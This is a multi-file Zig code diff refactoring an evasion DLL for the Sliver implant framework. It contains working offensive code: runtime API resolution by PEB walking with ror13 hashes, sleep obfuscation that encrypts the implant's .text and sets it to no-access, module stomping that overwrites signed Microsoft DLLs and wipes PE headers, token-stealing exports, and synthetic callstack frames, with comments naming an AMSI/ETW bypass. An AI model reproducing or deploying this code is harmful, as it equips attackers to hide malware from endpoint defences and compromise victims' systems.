|
||||
// Find the RVA of a named export in a module.
|
||||
fn export_rva(mod: [*]const u8, name: []const u8) ?u32 {
|
||||
const dos = @as(*align(1) extern struct { e_magic: u16, pad: [58]u8, e_lfanew: u32 }, @ptrCast(@constCast(mod)));
|
||||
const dos: *align(1) const pe.IMAGE_DOS_HEADER = @ptrCast(@alignCast(mod));
|
||||
if (dos.e_magic != 0x5A4D) return null;
|
||||
|
||||
const nt = @as(*align(1) extern struct {
|
||||
Signature: u32,
|
||||
FileHeader: extern struct { Machine: u16, NumberOfSections: u16, pad: [16]u8 },
|
||||
OptionalHeader: extern struct { Magic: u16, pad: [110]u8, DataDirectory: [16]extern struct { VirtualAddress: u32, Size: u32 } },
|
||||
}, @ptrCast(@constCast(mod + @as(usize, @intCast(dos.e_lfanew)))));
|
||||
if (nt.Signature != 0x00004550) return null;
|
||||
const nt_hdrs: *align(1) const pe.IMAGE_NT_HEADERS64 = @ptrCast(@alignCast(
|
||||
mod + @as(usize, @intCast(dos.e_lfanew)),
|
||||
));
|
||||
if (nt_hdrs.Signature != 0x00004550) return null;
|
||||
|
||||
const exp_dir = nt.OptionalHeader.DataDirectory[0];
|
||||
const exp_dir = nt_hdrs.OptionalHeader.DataDirectory[0];
|
||||
if (exp_dir.VirtualAddress == 0) return null;
|
||||
|
||||
const exp = @as(*align(1) extern struct {
|
||||
Characteristics: u32,
|
||||
TimeDateStamp: u32,
|
||||
MajorVersion: u16,
|
||||
MinorVersion: u16,
|
||||
Name: u32,
|
||||
Base: u32,
|
||||
NumberOfFunctions: u32,
|
||||
NumberOfNames: u32,
|
||||
AddressOfFunctions: u32,
|
||||
AddressOfNames: u32,
|
||||
AddressOfNameOrdinals: u32,
|
||||
}, @ptrCast(@constCast(mod + @as(usize, @intCast(exp_dir.VirtualAddress)))));
|
||||
const exp: *align(1) const pe.IMAGE_EXPORT_DIRECTORY = @ptrCast(@alignCast(
|
||||
mod + @as(usize, @intCast(exp_dir.VirtualAddress)),
|
||||
));
|
||||
|
||||
const names = @as([*]u32, @ptrCast(@alignCast(@constCast(mod + @as(usize, @intCast(exp.AddressOfNames))))));
|
||||
const funcs = @as([*]u32, @ptrCast(@alignCast(@constCast(mod + @as(usize, @intCast(exp.AddressOfFunctions))))));
|
||||
const ords = @as([*]u16, @ptrCast(@alignCast(@constCast(mod + @as(usize, @intCast(exp.AddressOfNameOrdinals))))));
|
||||
const names: [*]align(1) const u32 = @ptrCast(@alignCast(
|
||||
@as([*]const u8, @ptrCast(mod)) + exp.AddressOfNames,
|
||||
));
|
||||
const funcs: [*]align(1) const u32 = @ptrCast(@alignCast(
|
||||
@as([*]const u8, @ptrCast(mod)) + exp.AddressOfFunctions,
|
||||
));
|
||||
const ords: [*]align(1) const u16 = @ptrCast(@alignCast(
|
||||
@as([*]const u8, @ptrCast(mod)) + exp.AddressOfNameOrdinals,
|
||||
));
|
||||
|
||||
var i: u32 = 0;
|
||||
while (i < exp.NumberOfNames) : (i += 1) {
|
||||
const n = @as([*:0]const u8, @ptrCast(@alignCast(@constCast(mod + @as(usize, @intCast(names[i]))))));
|
||||
for (0..exp.NumberOfNames) |i| {
|
||||
const n: [*:0]const u8 = @ptrCast(@alignCast(
|
||||
@as([*]const u8, @ptrCast(mod)) + names[i],
|
||||
));
|
||||
if (std.mem.eql(u8, std.mem.sliceTo(n, 0), name)) {
|
||||
if (ords[i] < exp.NumberOfFunctions) {
|
||||
return funcs[ords[i]];
|
||||
@@ -154,13 +152,14 @@ fn export_rva(mod: [*]const u8, name: []const u8) ?u32 {
|
||||
return null;
|
||||
}
|
||||
|
||||
// Called once at DLL init. Results stored in asm globals used by evasion_sleep.
|
||||
pub fn init_frames() void {
|
||||
if (qFakeRtlUserThreadStart != 0) return;
|
||||
|
||||
const ntdll = resolve.get_module_by_hash(resolve.hash_ror13("ntdll.dll")) orelse return;
|
||||
const k32 = resolve.get_module_by_hash(resolve.hash_ror13("kernel32.dll")) orelse return;
|
||||
const ntdll_bytes = @as([*]const u8, @ptrCast(ntdll));
|
||||
const k32_bytes = @as([*]const u8, @ptrCast(k32));
|
||||
const ntdll_bytes: [*]const u8 = @ptrCast(ntdll);
|
||||
const k32_bytes: [*]const u8 = @ptrCast(k32);
|
||||
|
||||
const btit_rva = export_rva(k32_bytes, "BaseThreadInitThunk") orelse return;
|
||||
if (find_runtime_entry(btit_rva)) |entry| {
|
||||
|
||||
+1
-8
@@ -1,7 +1,4 @@
|
||||
// Valak evasion DLL, drop-in sleep obfuscation and AMSI/ETW bypass.
|
||||
// Built for Sliver, protocol-agnostic. Exports resolved at runtime by Go bridge.
|
||||
// Follows Windows x64 ABI.
|
||||
|
||||
// DLL exports for the Sliver Go bridge.
|
||||
const api = @import("api.zig");
|
||||
const syscall = @import("syscall.zig");
|
||||
const frames = @import("frames.zig");
|
||||
@@ -48,13 +45,10 @@ export fn is_relocated() bool {
|
||||
return stomp.g_evasion_relocated;
|
||||
}
|
||||
|
||||
// Tell the DLL where the host implant's .text is for encrypted sleep.
|
||||
export fn init_text_region(base: [*]u8, size: usize) void {
|
||||
sleep.init_text_region(base, size);
|
||||
}
|
||||
|
||||
// DllMain calls into here from the asm trampoline. Synthetic callstack frames
|
||||
// through kernel32!BaseThreadInitThunk and ntdll!RtlUserThreadStart built before us.
|
||||
export fn evasion_sleep_inner(ms: u32) void {
|
||||
ensure();
|
||||
sleep.evasion_sleep(ms);
|
||||
@@ -77,7 +71,6 @@ export fn steal_token(pid: u32) bool {
|
||||
ensure();
|
||||
return token.stealToken(pid);
|
||||
}
|
||||
|
||||
export fn rev2self() bool {
|
||||
ensure();
|
||||
return token.rev2self();
|
||||
|
||||
+125
@@ -0,0 +1,125 @@
|
||||
const std = @import("std");
|
||||
const windows = std.os.windows;
|
||||
|
||||
pub const WINAPI: std.builtin.CallingConvention = .winapi;
|
||||
|
||||
// Page protection constants for NtProtectVirtualMemory.
|
||||
// https://ntdoc.m417z.com/ntprotectvirtualmemory
|
||||
pub const PAGE_NOACCESS: windows.ULONG = 0x01;
|
||||
pub const PAGE_READONLY: windows.ULONG = 0x02;
|
||||
pub const PAGE_READWRITE: windows.ULONG = 0x04;
|
||||
pub const PAGE_EXECUTE_READ: windows.ULONG = 0x20;
|
||||
pub const PAGE_EXECUTE_READWRITE: windows.ULONG = 0x40;
|
||||
|
||||
pub const CONTEXT_DEBUG_REGISTERS: windows.DWORD = 0x00100010;
|
||||
pub const EXCEPTION_SINGLE_STEP: windows.DWORD = 0x80000004;
|
||||
pub const EXCEPTION_CONTINUE_EXECUTION: windows.LONG = -1;
|
||||
pub const EXCEPTION_CONTINUE_SEARCH: windows.LONG = 0;
|
||||
|
||||
// https://ntdoc.m417z.com/object_attributes
|
||||
pub const OBJ_CASE_INSENSITIVE: windows.ULONG = 0x00000040;
|
||||
|
||||
// https://ntdoc.m417z.com/unicode_string
|
||||
pub const UNICODE_STRING = extern struct {
|
||||
Length: u16,
|
||||
MaximumLength: u16,
|
||||
Buffer: [*]u16,
|
||||
};
|
||||
|
||||
// https://ntdoc.m417z.com/object_attributes
|
||||
pub const OBJECT_ATTRIBUTES = extern struct {
|
||||
Length: windows.ULONG,
|
||||
RootDirectory: ?windows.HANDLE,
|
||||
ObjectName: ?*UNICODE_STRING,
|
||||
Attributes: windows.ULONG,
|
||||
SecurityDescriptor: ?*anyopaque,
|
||||
SecurityQualityOfService: ?*anyopaque,
|
||||
};
|
||||
|
||||
// https://ntdoc.m417z.com/client_id
|
||||
pub const CLIENT_ID = extern struct {
|
||||
UniqueProcess: windows.HANDLE,
|
||||
UniqueThread: ?windows.HANDLE,
|
||||
};
|
||||
|
||||
// https://ntdoc.m417z.com/token_type
|
||||
pub const TOKEN_TYPE = enum(u32) {
|
||||
TokenPrimary = 1,
|
||||
TokenImpersonation = 2,
|
||||
};
|
||||
|
||||
pub const PROCESS_QUERY_LIMITED_INFORMATION: windows.DWORD = 0x1000;
|
||||
pub const MAXIMUM_ALLOWED: windows.DWORD = 0x02000000;
|
||||
|
||||
// Access rights for NtOpenProcessToken.
|
||||
// https://ntdoc.m417z.com/ntopenprocesstoken
|
||||
pub const TOKEN_DUPLICATE: windows.DWORD = 0x0002;
|
||||
pub const TOKEN_QUERY: windows.DWORD = 0x0008;
|
||||
pub const TOKEN_IMPERSONATE: windows.DWORD = 0x0004;
|
||||
|
||||
// https://ntdoc.m417z.com/ntopensection
|
||||
pub const SECTION_MAP_READ: windows.DWORD = 0x0004;
|
||||
|
||||
pub const CONTEXT = extern struct {
|
||||
P1Home: windows.DWORD64,
|
||||
P2Home: windows.DWORD64,
|
||||
P3Home: windows.DWORD64,
|
||||
P4Home: windows.DWORD64,
|
||||
P5Home: windows.DWORD64,
|
||||
P6Home: windows.DWORD64,
|
||||
ContextFlags: windows.DWORD,
|
||||
MxCsr: windows.DWORD,
|
||||
SegCs: windows.WORD,
|
||||
SegDs: windows.WORD,
|
||||
SegEs: windows.WORD,
|
||||
SegFs: windows.WORD,
|
||||
SegGs: windows.WORD,
|
||||
SegSs: windows.WORD,
|
||||
EFlags: windows.DWORD,
|
||||
Dr0: windows.DWORD64,
|
||||
Dr1: windows.DWORD64,
|
||||
Dr2: windows.DWORD64,
|
||||
Dr3: windows.DWORD64,
|
||||
Dr6: windows.DWORD64,
|
||||
Dr7: windows.DWORD64,
|
||||
Rax: windows.DWORD64,
|
||||
Rcx: windows.DWORD64,
|
||||
Rdx: windows.DWORD64,
|
||||
Rbx: windows.DWORD64,
|
||||
Rsp: windows.DWORD64,
|
||||
Rbp: windows.DWORD64,
|
||||
Rsi: windows.DWORD64,
|
||||
Rdi: windows.DWORD64,
|
||||
R8: windows.DWORD64,
|
||||
R9: windows.DWORD64,
|
||||
R10: windows.DWORD64,
|
||||
R11: windows.DWORD64,
|
||||
R12: windows.DWORD64,
|
||||
R13: windows.DWORD64,
|
||||
R14: windows.DWORD64,
|
||||
R15: windows.DWORD64,
|
||||
Rip: windows.DWORD64,
|
||||
};
|
||||
|
||||
pub const EXCEPTION_RECORD = extern struct {
|
||||
ExceptionCode: windows.DWORD,
|
||||
ExceptionFlags: windows.DWORD,
|
||||
ExceptionRecord: *EXCEPTION_RECORD,
|
||||
ExceptionAddress: *anyopaque,
|
||||
NumberParameters: windows.DWORD,
|
||||
ExceptionInformation: [15]windows.ULONG_PTR,
|
||||
};
|
||||
|
||||
pub const EXCEPTION_POINTERS = extern struct {
|
||||
ExceptionRecord: *EXCEPTION_RECORD,
|
||||
ContextRecord: *CONTEXT,
|
||||
};
|
||||
|
||||
pub inline fn NT_SUCCESS(status: windows.NTSTATUS) bool {
|
||||
return @as(i32, @bitCast(@intFromEnum(status))) >= 0;
|
||||
}
|
||||
|
||||
pub fn FALSE_BOOL() windows.BOOLEAN {
|
||||
return @enumFromInt(@as(u8, 0));
|
||||
}
|
||||
|
||||
+47
-35
@@ -1,6 +1,7 @@
|
||||
// PEB-based module and function resolution, everything resolved at runtime.
|
||||
// peb-based runtime api resolution. walks InMemoryOrderModuleList via gs:[0x60].
|
||||
// ror13 hash on module + export names, no GetProcAddress or GetModuleHandle needed.
|
||||
const std = @import("std");
|
||||
const win = @import("win32.zig");
|
||||
const windows = std.os.windows;
|
||||
const pe = @import("pe.zig");
|
||||
|
||||
pub const LIST_ENTRY = extern struct {
|
||||
@@ -9,10 +10,10 @@ pub const LIST_ENTRY = extern struct {
|
||||
};
|
||||
|
||||
pub const PEB_LDR_DATA = extern struct {
|
||||
Length: win.ULONG,
|
||||
Initialized: win.BYTE,
|
||||
Padding: [3]win.BYTE,
|
||||
SsHandle: win.LPVOID,
|
||||
Length: windows.ULONG,
|
||||
Initialized: windows.BYTE,
|
||||
Padding: [3]windows.BYTE,
|
||||
SsHandle: windows.LPVOID,
|
||||
InLoadOrderModuleList: LIST_ENTRY,
|
||||
InMemoryOrderModuleList: LIST_ENTRY,
|
||||
InInitializationOrderModuleList: LIST_ENTRY,
|
||||
@@ -22,23 +23,21 @@ pub const LDR_DATA_TABLE_ENTRY = extern struct {
|
||||
InLoadOrderLinks: LIST_ENTRY,
|
||||
InMemoryOrderLinks: LIST_ENTRY,
|
||||
InInitializationOrderLinks: LIST_ENTRY,
|
||||
DllBase: win.LPVOID,
|
||||
EntryPoint: win.LPVOID,
|
||||
SizeOfImage: win.ULONG,
|
||||
FullDllName: win.UNICODE_STRING,
|
||||
BaseDllName: win.UNICODE_STRING,
|
||||
DllBase: windows.LPVOID,
|
||||
EntryPoint: windows.LPVOID,
|
||||
SizeOfImage: windows.ULONG,
|
||||
FullDllName: windows.UNICODE_STRING,
|
||||
BaseDllName: windows.UNICODE_STRING,
|
||||
};
|
||||
|
||||
// PEB at GS:0x60 on x64.
|
||||
pub const PEB = extern struct {
|
||||
Reserved1: [2]win.BYTE,
|
||||
BeingDebugged: win.BYTE,
|
||||
Reserved2: [1]win.BYTE,
|
||||
Reserved3: [2]win.LPVOID,
|
||||
Reserved1: [2]windows.BYTE,
|
||||
BeingDebugged: windows.BYTE,
|
||||
Reserved2: [1]windows.BYTE,
|
||||
Reserved3: [2]windows.LPVOID,
|
||||
Ldr: *PEB_LDR_DATA,
|
||||
};
|
||||
|
||||
// ror13 hash, case-insensitive.
|
||||
pub fn hash_ror13(input: []const u8) u32 {
|
||||
var hash: u32 = 0;
|
||||
for (input) |c| {
|
||||
@@ -60,19 +59,18 @@ pub fn get_peb() *PEB {
|
||||
pub fn get_module_by_hash(hash: u32) ?*anyopaque {
|
||||
const peb_ptr = get_peb();
|
||||
const ldr = peb_ptr.Ldr;
|
||||
const head = @as(*LIST_ENTRY, @ptrCast(&ldr.InMemoryOrderModuleList));
|
||||
const head: *LIST_ENTRY = @ptrCast(&ldr.InMemoryOrderModuleList);
|
||||
var entry = head.Flink;
|
||||
|
||||
while (entry != head) : (entry = entry.Flink) {
|
||||
const le: *LDR_DATA_TABLE_ENTRY = @ptrCast(@alignCast(@as(*anyopaque, @ptrFromInt(@intFromPtr(entry) - @offsetOf(LDR_DATA_TABLE_ENTRY, "InMemoryOrderLinks")))));
|
||||
const le: *LDR_DATA_TABLE_ENTRY = @fieldParentPtr("InMemoryOrderLinks", entry);
|
||||
|
||||
if (le.BaseDllName.Length == 0) continue;
|
||||
|
||||
const buf = le.BaseDllName.Buffer;
|
||||
const buf = le.BaseDllName.Buffer orelse continue;
|
||||
const len = le.BaseDllName.Length / 2;
|
||||
var mod_hash: u32 = 0;
|
||||
var i: usize = 0;
|
||||
while (i < len) : (i += 1) {
|
||||
for (0..len) |i| {
|
||||
var c = buf[i];
|
||||
if (c >= 'a' and c <= 'z') c -= 32;
|
||||
mod_hash = (mod_hash >> 13) | (mod_hash << 19);
|
||||
@@ -86,7 +84,9 @@ pub fn get_module_by_hash(hash: u32) ?*anyopaque {
|
||||
}
|
||||
|
||||
fn resolve_forward_string(base_bytes: [*]u8, forward_rva: u32) ?*anyopaque {
|
||||
const forward_str = @as([*:0]u8, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(forward_rva)))));
|
||||
const forward_str = @as([*:0]u8, @ptrCast(@alignCast(
|
||||
base_bytes + @as(usize, @intCast(forward_rva)),
|
||||
)));
|
||||
const str = std.mem.sliceTo(forward_str, 0);
|
||||
const dot_pos = std.mem.indexOfScalar(u8, str, '.') orelse return null;
|
||||
const dll_hash = hash_ror13(str[0..dot_pos]);
|
||||
@@ -96,29 +96,42 @@ fn resolve_forward_string(base_bytes: [*]u8, forward_rva: u32) ?*anyopaque {
|
||||
}
|
||||
|
||||
pub fn get_func_by_hash(base: *anyopaque, func_hash: u32) ?*anyopaque {
|
||||
const base_bytes = @as([*]u8, @ptrCast(base));
|
||||
const dos = @as(*pe.IMAGE_DOS_HEADER, @ptrCast(@alignCast(base_bytes)));
|
||||
const base_bytes: [*]u8 = @ptrCast(base);
|
||||
const dos: *align(1) const pe.IMAGE_DOS_HEADER = @ptrCast(@alignCast(base_bytes));
|
||||
if (dos.e_magic != 0x5A4D) return null;
|
||||
|
||||
const nt = @as(*pe.IMAGE_NT_HEADERS64, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(dos.e_lfanew)))));
|
||||
const nt: *align(1) const pe.IMAGE_NT_HEADERS64 = @ptrCast(@alignCast(
|
||||
base_bytes + @as(usize, @intCast(dos.e_lfanew)),
|
||||
));
|
||||
if (nt.Signature != 0x00004550) return null;
|
||||
|
||||
const export_dir = nt.OptionalHeader.DataDirectory[0];
|
||||
if (export_dir.VirtualAddress == 0 or export_dir.Size == 0) return null;
|
||||
|
||||
const exp = @as(*pe.IMAGE_EXPORT_DIRECTORY, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(export_dir.VirtualAddress)))));
|
||||
const exp: *align(1) const pe.IMAGE_EXPORT_DIRECTORY = @ptrCast(@alignCast(
|
||||
base_bytes + @as(usize, @intCast(export_dir.VirtualAddress)),
|
||||
));
|
||||
|
||||
if (exp.NumberOfNames == 0 or exp.AddressOfFunctions == 0 or exp.AddressOfNames == 0 or exp.AddressOfNameOrdinals == 0) return null;
|
||||
if (exp.NumberOfNames == 0 or exp.AddressOfFunctions == 0 or
|
||||
exp.AddressOfNames == 0 or exp.AddressOfNameOrdinals == 0) return null;
|
||||
|
||||
const names = @as([*]u32, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfNames)))));
|
||||
const funcs = @as([*]u32, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfFunctions)))));
|
||||
const ords = @as([*]u16, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfNameOrdinals)))));
|
||||
const names: [*]align(1) const u32 = @ptrCast(@alignCast(
|
||||
base_bytes + @as(usize, @intCast(exp.AddressOfNames)),
|
||||
));
|
||||
const funcs: [*]align(1) const u32 = @ptrCast(@alignCast(
|
||||
base_bytes + @as(usize, @intCast(exp.AddressOfFunctions)),
|
||||
));
|
||||
const ords: [*]align(1) const u16 = @ptrCast(@alignCast(
|
||||
base_bytes + @as(usize, @intCast(exp.AddressOfNameOrdinals)),
|
||||
));
|
||||
|
||||
var i: u32 = 0;
|
||||
while (i < exp.NumberOfNames) : (i += 1) {
|
||||
if (names[i] == 0) continue;
|
||||
|
||||
const name_ptr = @as([*:0]u8, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(names[i])))));
|
||||
const name_ptr: [*:0]const u8 = @ptrCast(@alignCast(
|
||||
base_bytes + @as(usize, @intCast(names[i])),
|
||||
));
|
||||
const name = std.mem.sliceTo(name_ptr, 0);
|
||||
|
||||
if (hash_ror13(name) == func_hash) {
|
||||
@@ -138,7 +151,6 @@ pub fn get_func_by_hash(base: *anyopaque, func_hash: u32) ?*anyopaque {
|
||||
var cached_kernel32: ?*anyopaque = null;
|
||||
var cached_ntdll: ?*anyopaque = null;
|
||||
|
||||
// Three-tier: specific module, then kernel32, then ntdll, then full PEB walk.
|
||||
pub fn resolve_api(module_hash: u32, func_hash: u32) ?*anyopaque {
|
||||
if (module_hash != 0) {
|
||||
if (get_module_by_hash(module_hash)) |base| {
|
||||
@@ -158,11 +170,11 @@ pub fn resolve_api(module_hash: u32, func_hash: u32) ?*anyopaque {
|
||||
|
||||
const peb_ptr = get_peb();
|
||||
const ldr = peb_ptr.Ldr;
|
||||
const head = @as(*LIST_ENTRY, @ptrCast(&ldr.InMemoryOrderModuleList));
|
||||
const head: *LIST_ENTRY = @ptrCast(&ldr.InMemoryOrderModuleList);
|
||||
var entry = head.Flink;
|
||||
|
||||
while (entry != head) : (entry = entry.Flink) {
|
||||
const le: *LDR_DATA_TABLE_ENTRY = @ptrCast(@alignCast(@as(*anyopaque, @ptrFromInt(@intFromPtr(entry) - @offsetOf(LDR_DATA_TABLE_ENTRY, "InMemoryOrderLinks")))));
|
||||
const le: *LDR_DATA_TABLE_ENTRY = @fieldParentPtr("InMemoryOrderLinks", entry);
|
||||
|
||||
if (cached_kernel32) |ck| if (le.DllBase == ck) continue;
|
||||
if (cached_ntdll) |cn| if (le.DllBase == cn) continue;
|
||||
|
||||
+14
-18
@@ -1,16 +1,16 @@
|
||||
// SystemFunction040/041 are advapi32 exports wrapping RtlEncryptMemory (kernel ChaCha20).
|
||||
const api = @import("api.zig");
|
||||
const syscall = @import("syscall.zig");
|
||||
const win = @import("win32.zig");
|
||||
const nt = @import("nt.zig");
|
||||
|
||||
var g_go_text_base: ?[*]u8 = null;
|
||||
var g_go_text_size: usize = 0;
|
||||
|
||||
const RTL_ENCRYPT_MEMORY_SIZE: win.ULONG = 8;
|
||||
const RTL_ENCRYPT_MEMORY_SIZE: u32 = 8;
|
||||
|
||||
// Pad size to multiple of RTL_ENCRYPT_MEMORY_SIZE.
|
||||
fn padded_size(size: usize) win.ULONG {
|
||||
const s: win.ULONG = @intCast(size);
|
||||
return (s + (RTL_ENCRYPT_MEMORY_SIZE - 1)) & ~@as(win.ULONG, RTL_ENCRYPT_MEMORY_SIZE - 1);
|
||||
fn padded_size(size: usize) u32 {
|
||||
const s: u32 = @intCast(size);
|
||||
return (s + (RTL_ENCRYPT_MEMORY_SIZE - 1)) & ~@as(u32, RTL_ENCRYPT_MEMORY_SIZE - 1);
|
||||
}
|
||||
|
||||
pub fn init_text_region(base: [*]u8, size: usize) void {
|
||||
@@ -18,12 +18,10 @@ pub fn init_text_region(base: [*]u8, size: usize) void {
|
||||
g_go_text_size = size;
|
||||
}
|
||||
|
||||
// ChaCha20-encrypts .text via SystemFunction040, sleeps via NtDelayExecution,
|
||||
// decrypts on wake. During sleep .text is PAGE_NOACCESS.
|
||||
pub fn evasion_sleep(ms: u32) void {
|
||||
if (g_go_text_base == null or g_go_text_size == 0) {
|
||||
var interval: win.LARGE_INTEGER = -(@as(i64, @intCast(ms)) * 10000);
|
||||
_ = syscall.nt_delay_execution(0, &interval);
|
||||
var interval: i64 = -(@as(i64, @intCast(ms)) * 10000);
|
||||
_ = syscall.nt_delay_execution(nt.FALSE_BOOL(), &interval);
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -31,23 +29,22 @@ pub fn evasion_sleep(ms: u32) void {
|
||||
const size = g_go_text_size;
|
||||
const padded = padded_size(size);
|
||||
|
||||
// Encrypt .text with ChaCha20
|
||||
if (api.sleep_SystemFunction040) |enc| {
|
||||
_ = enc(base, padded, 0);
|
||||
}
|
||||
var ptr: ?*anyopaque = base;
|
||||
var sz: win.SIZE_T = size;
|
||||
var old: win.ULONG = 0;
|
||||
var sz: usize = size;
|
||||
var old: u32 = 0;
|
||||
_ = syscall.nt_protect_virtual_memory(
|
||||
syscall.nt_current_process(),
|
||||
&ptr,
|
||||
&sz,
|
||||
win.PAGE_NOACCESS,
|
||||
nt.PAGE_NOACCESS,
|
||||
&old,
|
||||
);
|
||||
|
||||
var interval: win.LARGE_INTEGER = -(@as(i64, @intCast(ms)) * 10000);
|
||||
_ = syscall.nt_delay_execution(0, &interval);
|
||||
var interval: i64 = -(@as(i64, @intCast(ms)) * 10000);
|
||||
_ = syscall.nt_delay_execution(nt.FALSE_BOOL(), &interval);
|
||||
|
||||
ptr = base;
|
||||
sz = size;
|
||||
@@ -55,11 +52,10 @@ pub fn evasion_sleep(ms: u32) void {
|
||||
syscall.nt_current_process(),
|
||||
&ptr,
|
||||
&sz,
|
||||
win.PAGE_EXECUTE_READ,
|
||||
nt.PAGE_EXECUTE_READ,
|
||||
&old,
|
||||
);
|
||||
|
||||
// Decrypt .text with ChaCha20
|
||||
if (api.sleep_SystemFunction041) |dec| {
|
||||
_ = dec(base, padded, 0);
|
||||
}
|
||||
|
||||
+31
-28
@@ -1,13 +1,15 @@
|
||||
// Copies .text into a signed Microsoft DLL, wipes PE headers.
|
||||
// Backing-file integrity checks catch this. PE header zeroing is a known signature.
|
||||
// RWX on signed Microsoft DLL triggers behavioral alert.
|
||||
const win = @import("win32.zig");
|
||||
const std = @import("std");
|
||||
const windows = std.os.windows;
|
||||
const nt = @import("nt.zig");
|
||||
const resolve = @import("resolve.zig");
|
||||
const syscall = @import("syscall.zig");
|
||||
const pe = @import("pe.zig");
|
||||
|
||||
pub var g_evasion_relocated: bool = false;
|
||||
|
||||
// Overwrite a signed Microsoft DLL's .text with our .text, then zero our PE headers.
|
||||
// Backing-file integrity checks catch this. PE header zeroing is a known signature.
|
||||
// RWX on signed Microsoft DLL triggers behavioral alert. Minimalist, not bulletproof.
|
||||
pub fn stomp_module(our_base: ?*anyopaque) ?*anyopaque {
|
||||
const targets = [_][]const u8{ "crypt32.dll", "dwrite.dll", "msvcp_win.dll" };
|
||||
|
||||
@@ -15,27 +17,26 @@ pub fn stomp_module(our_base: ?*anyopaque) ?*anyopaque {
|
||||
|
||||
const peb = resolve.get_peb();
|
||||
const ldr = peb.Ldr;
|
||||
const head = @as(*resolve.LIST_ENTRY, @ptrCast(&ldr.InMemoryOrderModuleList));
|
||||
const head: *resolve.LIST_ENTRY = @ptrCast(&ldr.InMemoryOrderModuleList);
|
||||
|
||||
var target_base: ?*anyopaque = null;
|
||||
var target_size: usize = 0;
|
||||
|
||||
var entry = head.Flink;
|
||||
while (entry != head) : (entry = entry.Flink) {
|
||||
const le: *resolve.LDR_DATA_TABLE_ENTRY = @ptrCast(@alignCast(@as(*anyopaque, @ptrFromInt(@intFromPtr(entry) - @offsetOf(resolve.LDR_DATA_TABLE_ENTRY, "InMemoryOrderLinks")))));
|
||||
const le: *resolve.LDR_DATA_TABLE_ENTRY = @fieldParentPtr("InMemoryOrderLinks", entry);
|
||||
|
||||
if (@intFromPtr(le.DllBase) == 0 or le.BaseDllName.Length == 0) continue;
|
||||
|
||||
if (target_base == null) {
|
||||
const buf = le.BaseDllName.Buffer;
|
||||
const buf = le.BaseDllName.Buffer orelse continue;
|
||||
const len = le.BaseDllName.Length / 2;
|
||||
for (targets) |target| {
|
||||
if (target.len == len) {
|
||||
var matches = true;
|
||||
var ci: usize = 0;
|
||||
while (ci < len) : (ci += 1) {
|
||||
var c1 = buf[ci];
|
||||
var c2 = target[ci];
|
||||
for (0..len) |i| {
|
||||
var c1 = buf[i];
|
||||
var c2 = target[i];
|
||||
if (c1 >= 'A' and c1 <= 'Z') c1 += 32;
|
||||
if (c2 >= 'A' and c2 <= 'Z') c2 += 32;
|
||||
if (c1 != c2) {
|
||||
@@ -57,20 +58,22 @@ pub fn stomp_module(our_base: ?*anyopaque) ?*anyopaque {
|
||||
|
||||
if (target_base == null) return null;
|
||||
|
||||
const own_bytes = @as([*]u8, @ptrCast(our_base.?));
|
||||
const dos = @as(*const pe.IMAGE_DOS_HEADER, @ptrCast(@alignCast(own_bytes)));
|
||||
const own_bytes: [*]u8 = @ptrCast(our_base.?);
|
||||
const dos: *align(1) const pe.IMAGE_DOS_HEADER = @ptrCast(@alignCast(own_bytes));
|
||||
if (dos.e_magic != 0x5A4D) return null;
|
||||
|
||||
const nt = @as(*const pe.IMAGE_NT_HEADERS64, @ptrCast(@alignCast(own_bytes + @as(usize, @intCast(dos.e_lfanew)))));
|
||||
if (nt.Signature != 0x00004550) return null;
|
||||
const nt_headers: *align(1) const pe.IMAGE_NT_HEADERS64 = @ptrCast(@alignCast(
|
||||
own_bytes + @as(usize, @intCast(dos.e_lfanew)),
|
||||
));
|
||||
if (nt_headers.Signature != 0x00004550) return null;
|
||||
|
||||
const section_off = @as(usize, @intCast(dos.e_lfanew)) + @sizeOf(pe.IMAGE_NT_HEADERS64);
|
||||
const sections = @as([*]const pe.IMAGE_SECTION_HEADER, @ptrCast(@alignCast(own_bytes + section_off)));
|
||||
const sections: [*]align(1) const pe.IMAGE_SECTION_HEADER = @ptrCast(@alignCast(own_bytes + section_off));
|
||||
|
||||
var text_start: ?*anyopaque = null;
|
||||
var text_size: usize = 0;
|
||||
for (0..nt.FileHeader.NumberOfSections) |i| {
|
||||
if (sections[i].Name[0] == '.' and sections[i].Name[1] == 't' and sections[i].Name[2] == 'e' and sections[i].Name[3] == 'x' and sections[i].Name[4] == 't') {
|
||||
for (0..nt_headers.FileHeader.NumberOfSections) |i| {
|
||||
if (std.mem.eql(u8, sections[i].Name[0..5], ".text") and sections[i].Name[5] == 0) {
|
||||
text_start = @as(*anyopaque, @ptrCast(own_bytes + sections[i].VirtualAddress));
|
||||
text_size = sections[i].VirtualSize;
|
||||
break;
|
||||
@@ -80,33 +83,33 @@ pub fn stomp_module(our_base: ?*anyopaque) ?*anyopaque {
|
||||
if (text_start == null or text_size == 0) return null;
|
||||
|
||||
var target_mut: ?*anyopaque = target_base;
|
||||
var region_size: win.SIZE_T = target_size;
|
||||
var old_prot: win.ULONG = 0;
|
||||
var region_size: windows.SIZE_T = target_size;
|
||||
var old_prot: windows.ULONG = 0;
|
||||
const st = syscall.nt_protect_virtual_memory(
|
||||
syscall.nt_current_process(),
|
||||
&target_mut,
|
||||
®ion_size,
|
||||
win.PAGE_EXECUTE_READWRITE,
|
||||
nt.PAGE_EXECUTE_READWRITE,
|
||||
&old_prot,
|
||||
);
|
||||
if (!win.NT_SUCCESS(st)) return null;
|
||||
if (!nt.NT_SUCCESS(st)) return null;
|
||||
|
||||
const dest = @as([*]u8, @ptrCast(target_mut orelse target_base.?));
|
||||
const src = @as([*]const u8, @ptrCast(text_start.?));
|
||||
const dest: [*]u8 = @ptrCast(target_mut orelse target_base.?);
|
||||
const src: [*]const u8 = @ptrCast(text_start.?);
|
||||
@memcpy(dest[0..text_size], src[0..text_size]);
|
||||
|
||||
var restore_mut: ?*anyopaque = target_mut orelse target_base.?;
|
||||
var restore_size: win.SIZE_T = target_size;
|
||||
var new_old: win.ULONG = 0;
|
||||
var restore_size: windows.SIZE_T = target_size;
|
||||
var new_old: windows.ULONG = 0;
|
||||
_ = syscall.nt_protect_virtual_memory(
|
||||
